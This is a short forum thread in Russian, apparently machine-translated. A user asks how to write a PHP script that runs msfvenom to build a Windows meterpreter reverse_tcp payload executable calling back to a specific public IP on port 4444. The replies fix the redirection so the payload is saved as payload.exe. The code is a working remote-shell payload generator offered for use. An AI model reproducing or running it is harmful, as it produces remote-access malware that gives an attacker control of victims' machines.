2016-07-24 10 views
-2

Я пытаюсь создать скрипт php, который генерирует базовую полезную нагрузку обратного tcp с метрикой.Cant make> symbol in php

<?php 
$cmd = shell_exec('msfvenom -p windows/meterpreter/reverse_tcp 
LHOST=46.101.255.58 LPORT=4444 -f exe > payloads/payload.exe'); 
echo $cmd; 
?> 

Когда я хочу, чтобы вывести файл я должен использовать > символ. Это завершает тэг php и не создает сценарий. Есть ли способ использовать символ > в php без закрытия тега?

+3

Вы пробовали убежать от него? – Rasclatt

+3

... как в '-f exe \>' –

+3

Как '' 'закрывать ваш PHP? – chris85

ответ

0

Попробуйте

<?php 
$file = fopen("payloads/payload.exe","w"); 
$cmd = shell_exec('msfvenom -p windows/meterpreter/reverse_tcp 
LHOST=46.101.255.58 LPORT=4444 -f exe'); 
echo $cmd; 
fwrite($file,$cmd); 
fclose($file); 
?> 

Я также хотел бы призвать не оставлять свой публичный адрес IP-в Интернете под своим именем.

+8

, вероятно, вы также не должны повторять IP-адрес в своем ответе: таким образом, вы можете показать OP, как разумно опустить его в коде – YakovL